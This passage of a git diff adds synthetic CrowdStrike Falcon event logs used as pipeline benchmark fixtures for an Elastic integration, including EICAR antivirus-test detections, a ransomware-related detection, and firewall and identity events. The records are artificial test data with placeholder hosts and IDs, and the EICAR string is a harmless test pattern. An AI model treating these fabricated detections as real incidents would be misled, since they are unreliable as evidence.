needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575384000,"eventType":"EppDetectionSummaryEvent","offset":2021264,"version":"1.0"}} +{"event":{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751533769000,"eventType":"EppDetectionSummaryEvent","offset":1962865,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log new file mode 100644 index 0000000000..072f786304 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":294564,"eventType":"DetectionSummaryEvent","eventCreationTime":1582101000000,"version":"1.0"},"event":{"ProcessStartTime":1536846339,"ProcessEndTime":0,"ProcessId":38684386611,"ParentProcessId":38682494050,"ComputerName":"alice-laptop","UserName":"alice","DetectName":"Process Terminated","DetectDescription":"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.","Severity":4,"SeverityName":"High","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume1\\Windows","CommandLine":"C:\\Windows\\Explorer.EXE","SHA256String":"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a","MD5String":"ac4c51eb24aa95b77f705ab159189e24","MachineDomain":"CORP-DOMAIN","FalconHostLink":"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4","SensorId":"7c808b4c8878433287eea53d4a8c3268","DetectId":"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584","LocalIP":"192.168.12.51","MACAddress":"00-00-00-11-22-33","Tactic":"Malware","Technique":"Ransomware","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process killed.","PatternDispositionValue":16,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false}}}{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1824,"eventType":"IncidentSummaryEvent","eventCreationTime":1583295476766,"version":"1.0"},"event":{"IncidentStartTime":1583295228,"IncidentEndTime":1583295470,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b","State":"open","FineScore":1.2}}{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":22865,"eventType":"UserActivityAuditEvent","eventCreationTime":1593186952000,"version":"1.0"},"event":{"UserId":"Crowdstrike","UserIp":"","OperationName":"quarantined_file_update","ServiceName":"quarantined_files","AuditKeyValues":[{"Key":"quarantined_file_id","ValueString":"35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"},{"Key":"action_taken","ValueString":"quarantined"}],"UTCTimestamp":1593186952}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log new file mode 100644 index 0000000000..82bef37a06 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70689,"eventType":"FirewallMatchEvent","eventCreationTime":1595248906000,"version":"1.0"},"event":{"DeviceId":"12345a1bc2d34fghi56jk7890lmno12p","CustomerId":"12345a1bc2d34fghi56jk7890lmno12p","Ipv":"ipv4","CommandLine":"nginx","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":false,"Monitor":true},"HostName":"TESTDEVICE01","ICMPCode":"","ICMPType":"","ImageFileName":"/usr/bin/nginx","LocalAddress":"10.10.10.10","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"206158879910","PolicyName":"PROD-FW-TESTSTATION-General","PolicyID":"12345a1bc2d34fghi56jk7890lmno12p","Protocol":"6","RemoteAddress":"216.160.83.56","RemotePort":"54952","RuleAction":"2","RuleDescription":"","RuleFamilyID":"fec73e96a1bf4481be582c3f89b234fa","RuleGroupName":"SMB Rules","RuleName":"Inbound SMB Block \u0026 Log Private","RuleId":"4877172638743447345","Status":"","Timestamp":"2020-07-20T12:41:44Z","TreeID":"158446832506666"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log new file mode 100644 index 0000000000..921f2c64f8 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"3426316453426234","offset":2664264,"eventType":"IdentityProtectionEvent","eventCreationTime":1686891836581,"version":"1.0"},"event":{"IncidentType":"UNUSUAL_ENDPOINT_USE","IncidentDescription":"User seen coming from a location that deviates from their baseline.","Severity":1,"SeverityName":"INFO","StartTime":1686891836383,"EndTime":1686891836553,"IdentityProtectionIncidentId":"INC-123","UserName":"TESTUSER","EndpointName":"TESTHOSTNAME","EndpointIp":"89.160.20.112","Category":"Incidents","NumbersOfAlerts":1,"NumberOfCompromisedEntities":1,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/incidents/INC-123"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log new file mode 100644 index 0000000000..2ab9066a1b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"123123abcd","offset":2,"eventType":"IncidentSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"IncidentStartTime":1685844891,"IncidentEndTime":1685844892,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID","State":"open","FineScore":0.5,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:123:abc","HostID":"TESTHOSTID","LMHostIDs":["TESTHOSTID1","TESTHOSTID2"],"UserId":"first.last@company.com"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log new file mode 100644 index 0000000000..138852e4d4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"12312312312312321","offset":2662765,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1686848064000,"version":"1.0"},"event":{"ContextTimeStamp":133221234560000000,"DetectId":"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged in to a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012","StartTime":123456789000000000,"EndTime":123456789000000000,"Severity":7,"Tactic":"Initial Access","Technique":"Valid Accounts","Objective":"Gain Access","SourceAccountDomain":"DOMAIN.COM","SourceAccountName":"johnb","SourceAccountObjectSid":"S-1-3-44-55555555-666666666-7777777777-88888","SourceEndpointAccountObjectGuid":"12345678-1234-1234-1234-123456789000","SourceEndpointAccountObjectSid":"S-1-3-44-55555555-666666666-7777777777-88888","SourceEndpointHostName":"pc01.domain.com","SourceEndpointIpAddress":"81.2.69.144","SourceEndpointSensorId":"12345678901234567890123456789012","PrecedingActivityTimeStamp":133154452345780000,"MostRecentActivityTimeStamp":133313215755670000,"ActivityId":"12345678-1234-1234-1234-123456789000","PatternId":51135}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log new file mode 100644 index 0000000000..f9676e2029 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"0123456789ABCDEFGHIJKLMNOPQRSTUV","offset":701283,"eventType":"MobileDetectionSummaryEvent","eventCreationTime":1649420269000,"version":"1.0"},"event":{"SensorId":"85ae98xxxxxxd9a8f2","MobileDetectionId":1310556238,"ComputerName":"TESTComputer","UserName":"TestUSER","ContextTimeStamp":1649061056,"DetectId":"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238","DetectName":"AppSideloadDetected","DetectDescription":"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ","Tactic":"Insecure security posture","TacticId":"CSTA0009","Technique":"Bad device settings","TechniqueId":"CST0024","Objective":"Falcon Detection Method","Severity":50,"FalconHostLink":"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV","MobileAppsDetails":[{"AppIdentifier":"com.facebook.katana","AndroidAppLabel":"Facebook","DexFileHashes":"abc456xxxxxxxxxxxxxxxxdef789","ImageFileName":"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk","AppInstallerInformation":"unknown","IsBeingDebugged":false,"AndroidAppVersionName":"323.0.0.46.119","IsContainerized":false}]}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log new file mode 100644 index 0000000000..af4c5409e0 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"1231231231231","offset":2664218,"eventType":"ReconNotificationSummaryEvent","eventCreationTime":1686889114000,"version":"1.0"},"event":{"NotificationId":"oifgdjgpoidfsjhpoihio","Highlights":["Some highlighed text \u0026lt;cs-highlight\u0026gt;test\u0026lt;/cs-highlight\u0026gt; \u0026lt;cs-highlight\u0026gt;gdsfgasd\u0026lt;/cs-highlight\u0026gt;.\n\nAs an Some more text"],"MatchedTimestamp":1686889114000,"RuleId":"123543-0cb1-4806-9ccd-a543123","RuleName":"TestRuleName","RuleTopic":"TestRuleTopic","RulePriority":"high","ItemId":"oigjfdsiughsiopudhfoiusadhfiouhipou==","ItemType":"post","ItemPostedTimestamp":1686873909000}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log new file mode 100644 index 0000000000..238a949098 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log @@ -0,0 +1,2 @@ +{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":1045,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1582830734000,"version":"1.0"},"event":{"SessionId":"12345a1bc2d34fghi56jk7890lmno12p","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","StartTimestamp":1582830734}} +{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":1046,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1582830772000,"version":"1.0"},"event":{"SessionId":"12345a1bc2d34fghi56jk7890lmno12p","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","EndTimestamp":1582830772}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log new file mode 100644 index 0000000000..cbb3da3959 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log @@ -0,0 +1,7 @@ +{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70689,"eventType":"FirewallMatchEvent","eventCreationTime":1595248906000,"version":"1.0"},"event":{"DeviceId":"718af202ab2c4ba5b6a5d10d39c0e0a5","CustomerId":"12345a1bc2d34fghi56jk7890lmno12p","Ipv":"ipv4","CommandLine":"","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":false,"Monitor":true},"HostName":"TESTDEVICE01","ICMPCode":"","ICMPType":"","ImageFileName":"","LocalAddress":"10.37.60.194","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"206158879910","PolicyName":"PROD-FW-Workstations-General","PolicyID":"74e7f1552a3a4d90a6d65578642c8584","Protocol":"6","RemoteAddress":"10.37.60.21","RemotePort":"54952","RuleAction":"2","RuleDescription":"","RuleFamilyID":"fec73e96a1bf4481be582c3f89b234fa","RuleGroupName":"SMB Rules","RuleName":"Inbound SMB Block \u0026 Log Private","RuleId":"4877172638743447345","Status":"","Timestamp":"2020-07-20T12:41:44Z","TreeID":""}} +{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57181,"eventType":"IncidentSummaryEvent","eventCreationTime":1595005328414,"version":"1.0"},"event":{"IncidentStartTime":1595005316,"IncidentEndTime":1595005316,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54","State":"open","FineScore":0.1,"LateralMovement":0}} +{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70509,"eventType":"AuthActivityAuditEvent","eventCreationTime":1595247970093,"version":"1.0"},"event":{"UserId":"first.last@company.com","UserIp":"67.43.156.15","OperationName":"saml2Assert","ServiceName":"Crowdstrike Authentication","Success":true,"UTCTimestamp":1595247970,"AuditKeyValues":[{"Key":"trace_id","ValueString":"b0b33836-555c-4e0e-a5ef-d368f6799f6b"},{"Key":"actor_user","ValueString":"first.last@company.com"},{"Key":"actor_user_uuid","ValueString":"123ab123-abc1-12a1-12a1-12a1ab12a1a1"},{"Key":"actor_cid","ValueString":"123456a1ab1a12abc12ab1234abcd12a"},{"Key":"target_user","ValueString":"first.last@company.com"}]}} 